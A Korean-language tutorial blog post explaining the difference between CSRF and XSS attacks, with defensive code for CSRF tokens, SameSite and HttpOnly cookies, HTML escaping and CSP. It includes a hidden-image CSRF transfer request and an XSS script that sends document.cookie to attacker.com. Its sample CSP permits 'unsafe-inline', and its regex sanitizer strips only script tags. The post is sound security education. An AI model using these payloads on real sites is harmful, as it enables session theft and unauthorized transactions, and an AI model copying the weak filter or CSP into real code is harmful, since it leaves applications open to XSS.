CSRF와 XSS의 핵심 차이점과 방어 전략

CSRF와 XSS의 핵심 차이점과 방어 전략

D
dongAuthor
7 min read

웹 애플리케이션 보안에서 가장 자주 언급되는 두 가지 공격 유형인 CSRF와 XSS. 둘 다 심각한 보안 위협이지만, 공격 방식과 방어 전략이 완전히 다릅니다. 이 글에서는 두 공격의 핵심 차이점을 명확히 이해하고, 실무에서 바로 적용할 수 있는 방어 기법들을 살펴보겠습니다.

많은 개발자들이 CSRF와 XSS를 혼동하거나 비슷한 공격으로 여기곤 합니다. 하지만 이 두 공격은 근본적으로 다른 취약점을 노리며, 각각 다른 방어책이 필요해요. 이 차이점을 정확히 파악하는 것이 효과적인 보안 전략의 첫 걸음입니다.

CSRF(Cross-Site Request Forgery) 이해하기

  sequenceDiagram
    participant User as 🧑 사용자 (브라우저)
    participant AttackerSite as 🕸️ 악성 사이트
    participant Bank as 🏦 은행 서버

    Note over User,Bank: 사용자는 은행 사이트에 로그인하여 세션(쿠키)이 유효한 상태
    User->>AttackerSite: (1) 악성 사이트 방문 (예: 링크 클릭)
    AttackerSite-->>User: (2) 숨겨진 요청 코드 전송
<img src="http://bank.com/transfer?to=attacker&amount=1000000"> Note over User: (3) 브라우저가 자동으로 bank.com에 요청 전송 (쿠키 포함) User->>Bank: (4) GET/POST /transfer?to=attacker&amount=1000000 (쿠키/세션 포함) alt 서버가 요청 출처를 검증하지 않음 Bank-->>Bank: (5) 서버가 요청을 정당한 사용자 요청으로 처리 Bank-->>User: (6) 송금 처리 완료 (사용자는 모름) else 서버가 CSRF 방어 적용(예: CSRF 토큰 검사) Bank-->>User: (5) 요청 거부 (CSRF 토큰 불일치) end

CSRF는 사용자의 권한을 악용하는 공격입니다. 공격자가 사용자 모르게 특정 웹사이트에 요청을 보내도록 유도하는 방식이죠.

CSRF 공격의 작동 원리

CSRF는 서버가 사용자를 신뢰한다는 점을 악용합니다. 사용자가 은행 웹사이트에 로그인한 상태에서 악성 사이트를 방문하면, 악성 사이트가 은행 서버로 송금 요청을 보낼 수 있어요. 서버는 이 요청이 정당한 사용자로부터 온 것으로 판단하여 처리하게 됩니다.

<!-- 악성 사이트의 CSRF 공격 예시 -->
<img src="http://bank.com/transfer?to=attacker&amount=1000000" style="display:none">

이 간단한 이미지 태그만으로도 사용자 모르게 송금 요청이 실행될 수 있습니다. 사용자의 세션이 유효한 상태라면 서버는 이를 정상적인 요청으로 처리하죠.

CSRF의 특징과 영향

  • 공격 위치: 서버에서 발생
  • 신뢰 관계: 서버가 사용자를 신뢰
  • 주요 목적: 권한 도용을 통한 악의적 행위 수행
  • 피해 범위: 계정 정보 변경, 금융 거래, 중요 설정 수정 등

XSS(Cross-Site Scripting) 파헤치기

XSS는 악성 스크립트를 웹페이지에 주입하는 공격입니다. 사용자의 브라우저에서 스크립트가 실행되어 쿠키나 세션 정보를 탈취하거나 악의적인 행동을 수행합니다.

XSS 공격의 세 가지 유형

1. Stored XSS (저장형)

악성 스크립트가 데이터베이스에 영구적으로 저장되어, 해당 페이지를 방문하는 모든 사용자에게 영향을 줍니다.

2. Reflected XSS (반사형)

이메일이나 링크를 통해 사용자가 클릭하면 실행되는 방식으로, 주로 일회성 공격에 사용됩니다.

3. DOM-based XSS (DOM 기반)

JavaScript를 이용해 DOM을 조작하여 HTML을 변경하지 않고도 공격을 수행합니다.

XSS 공격 예시

  sequenceDiagram
    participant User as 🧑 사용자 (브라우저)
    participant VulnSite as 🌐 취약한 사이트
    participant Attacker as 🎯 공격자 서버
    participant VictimService as 🏷️ 서비스(세션 식별자)

    Note over User,VulnSite: 사용자가 취약한 페이지를 방문 (XSS 취약점 존재)
    User->>VulnSite: (1) 페이지 요청
    VulnSite-->>User: (2) 응답 (악성 스크립트 포함)
    Note over User: (3) 브라우저가 페이지 내 스크립트 실행
    User->>Attacker: (4) 악성 스크립트가 쿠키/세션 정보를 공격자 서버로 전송
e.g. document.location='https://attacker.com/?cookie='+document.cookie Attacker-->>Attacker: (5) 공격자 서버가 세션 쿠키 수집 Attacker->>VictimService: (6) 탈취한 세션으로 서비스에 접근 시도 alt 서비스가 세션을 그대로 신뢰할 경우 VictimService-->>Attacker: (7) 인증된 세션으로 액세스 허용 (계정 탈취/조작 가능) else 방어 기법이 적용된 경우 (예: HttpOnly, SameSite, CSP 등) VictimService-->>User: (7) 요청 차단 또는 세션 무효화 end
<script>
  document.location='https://attacker.com/?cookie='+document.cookie
</script>

이 스크립트는 사용자의 쿠키를 공격자의 서버로 전송하여 세션을 탈취할 수 있어요.

XSS의 특징과 영향

  • 공격 위치: 클라이언트(브라우저)에서 발생
  • 신뢰 관계: 사용자가 특정 사이트를 신뢰
  • 주요 목적: 쿠키, 세션 갈취 및 웹사이트 변조
  • 피해 범위: 개인정보 유출, 계정 탈취, 피싱 공격 등

CSRF와 XSS의 핵심 차이점

구분 CSRF XSS
공격 방법 권한을 도용당한 클라이언트가 가짜 요청을 서버에 전송 악성 스크립트가 클라이언트에서 실행
신뢰 관계 특정 사이트가 사용자를 신뢰 사용자가 특정 사이트를 신뢰
공격 대상 서버 클라이언트
주요 목적 권한 도용 쿠키, 세션 갈취, 웹사이트 변조

이 차이점들을 이해하면 각 공격에 맞는 적절한 방어 전략을 세울 수 있어요.

CSRF 방어 전략

1. CSRF 토큰 사용

가장 효과적인 CSRF 방어 방법은 토큰을 활용하는 것입니다.

// 서버에서 CSRF 토큰 생성 및 검증
const csrfToken = crypto.randomUUID();
// 세션에 토큰 저장
req.session.csrfToken = csrfToken;

// 클라이언트에서 요청 시 토큰 포함
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'CSRF-Token': csrfToken
  },
  body: JSON.stringify(transferData)
});

2. Referrer 검증

요청 헤더의 referrer 속성을 확인하여 도메인이 일치하는지 검증합니다.

3. SameSite 쿠키 속성

// SameSite 속성으로 크로스 사이트 요청 차단
res.cookie('sessionId', sessionId, {
  sameSite: 'strict', // 또는 'lax'
  httpOnly: true,
  secure: true
});

4. CAPTCHA 도입

중요한 작업에 대해서는 CAPTCHA를 통한 추가 인증을 요구합니다.

XSS 방어 전략

1. 입력 데이터 검증 및 필터링

// 위험한 문자열 필터링
function sanitizeInput(input) {
  return input.replace(/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi, '');
}

// 허용된 태그만 사용
const allowedTags = ['p', 'br', 'strong', 'em'];

2. 출력 인코딩

// HTML 엔티티로 인코딩
function escapeHtml(text) {
  const map = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#039;'
  };
  return text.replace(/[&<>"']/g, m => map[m]);
}

3. Content Security Policy (CSP) 구현

<!-- CSP 헤더로 스크립트 실행 제한 -->
<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; script-src 'self' 'unsafe-inline';">

4. HttpOnly 쿠키 설정

// document.cookie로 접근 불가능한 쿠키 설정
res.cookie('sessionId', sessionId, {
  httpOnly: true,
  secure: true
});

실제 공격 사례와 교훈

CSRF 공격 사례

2008년 넷플릭스에서 발생한 CSRF 공격은 사용자 모르게 영화 평점을 조작하고 개인정보를 수정하는 데 악용되었습니다. 이 사건으로 CSRF 토큰의 중요성이 더욱 부각되었어요.

XSS 공격 사례

2005년 마이스페이스의 ‘Samy 웜’ 사건은 XSS 취약점을 이용해 단 하루 만에 100만 명 이상의 사용자를 감염시켰습니다. 이는 적절한 입력 검증의 중요성을 보여주는 대표적인 사례입니다.

두 공격이 만났을 때의 위험성

CSRF와 XSS가 결합되면 공격의 파급력이 급격히 증가합니다. XSS를 통해 CSRF 토큰을 탈취하거나 우회할 수 있기 때문이죠.

// XSS를 이용한 CSRF 토큰 탈취 예시
const csrfToken = document.querySelector('meta[name="csrf-token"]').content;
// 탈취한 토큰으로 악의적 요청 수행

이런 복합 공격을 방어하려면 두 공격 모두에 대한 종합적인 보안 전략이 필요해요.

개발자가 알아야 할 보안 원칙

보안은 단순히 특정 기법을 적용하는 것이 아니라, 전체적인 관점에서 접근해야 합니다. CSRF와 XSS는 서로 다른 신뢰 관계를 악용하는 공격이므로, 각각에 맞는 방어 전략을 수립해야 해요.

웹 애플리케이션을 개발할 때는 "사용자 입력은 모두 악의적일 수 있다"는 원칙과 "서버는 모든 요청을 의심해야 한다"는 원칙을 동시에 적용해야 합니다. 이 두 원칙이 CSRF와 XSS 방어의 핵심이거든요.

보안 코드 리뷰를 할 때도 이 두 공격 유형을 염두에 두고 점검하면 더욱 안전한 애플리케이션을 구축할 수 있습니다. 특히 사용자 입력을 처리하는 부분과 인증이 필요한 기능에서는 더욱 세심한 검토가 필요해요.

CSRF와 XSS는 웹 보안의 기본이자 핵심입니다. 이 두 공격의 차이점을 명확히 이해하고 적절한 방어 전략을 구현한다면, 사용자와 서비스 모두를 보호할 수 있는 견고한 웹 애플리케이션을 만들 수 있을 거예요.